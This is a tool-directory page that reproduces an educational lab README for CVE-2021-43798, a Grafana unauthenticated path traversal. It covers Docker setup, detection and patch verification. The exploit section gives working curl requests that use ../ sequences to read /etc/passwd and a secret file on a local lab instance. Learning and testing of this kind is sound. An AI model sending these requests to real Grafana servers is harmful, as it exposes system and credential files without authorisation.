Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
-INE_Shivam_Gupta_23104003 — CVE-2021-43798 Grafana Unauthenticated Path Traversal - Security Lab | Shivam Gupta | 23104003 | Kitploit
Tools/GitHubGitHub/shivamg2004/-ine_shivam_gupta_23104003
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
shivamg2004/-ine_shivam_gupta_23104003

-INE_Shivam_Gupta_23104003

CVE-2021-43798 Grafana Unauthenticated Path Traversal - Security Lab | Shivam Gupta | 23104003

View Repository
6h 53m agoNot yet reviewed

CVE-2021-43798 — Grafana Unauthenticated Path Traversal Lab

Educational use only. Run this lab only on an isolated local machine. Never expose it to the internet.


CVE Summary

FieldDetail
CVE IDCVE-2021-43798
ProductGrafana
Affected Versions8.0.0 – 8.3.0
Patched Version8.3.1+
SeverityHigh
CVSS v3.1 Score7.5
CWECWE-22 — Path Traversal
Authentication RequiredNone
Attack VectorNetwork

Prerequisites

  • Docker Desktop (running)
  • Git
  • curl

Setup

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/INE_Shivam_Gupta.git
cd INE_Shivam_Gupta

Start Vulnerable Environment

root@kitploit:~
docker compose up -d

Verify:

root@kitploit:~
curl http://127.0.0.1:3000/api/health
# Expected: "version": "8.3.0"

Open http://127.0.0.1:3000 — login: admin / admin


Exploit the Vulnerability

root@kitploit:~
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd"
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/lab_secret.txt"

Expected: file contents returned with HTTP 200 — no authentication required.


Detection

root@kitploit:~
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/hostname"
curl.exe http://127.0.0.1:3000/api/health

If hostname is returned → VULNERABLE. Version 8.0.0–8.3.0 → VULNERABLE.


Remediation

Start patched instance (Grafana 8.3.1):

root@kitploit:~
docker compose -f docker-compose.patched.yml up -d

Verify exploit is blocked:

root@kitploit:~
curl.exe --path-as-is "http://127.0.0.1:3001/public/plugins/alertlist/../../../../../../../../../etc/passwd"
# Expected: {"message": "Plugin file not found"}

Stop the Lab

root@kitploit:~
docker compose down
docker compose -f docker-compose.patched.yml down

References

  • https://nvd.nist.gov/vuln/detail/CVE-2021-43798
  • https://grafana.com/blog/2021/12/07/grafana-8.3.1-and-7.5.12-released-with-moderate-severity-security-fix/
  • https://cwe.mitre.org/data/definitions/22.html
Download Tool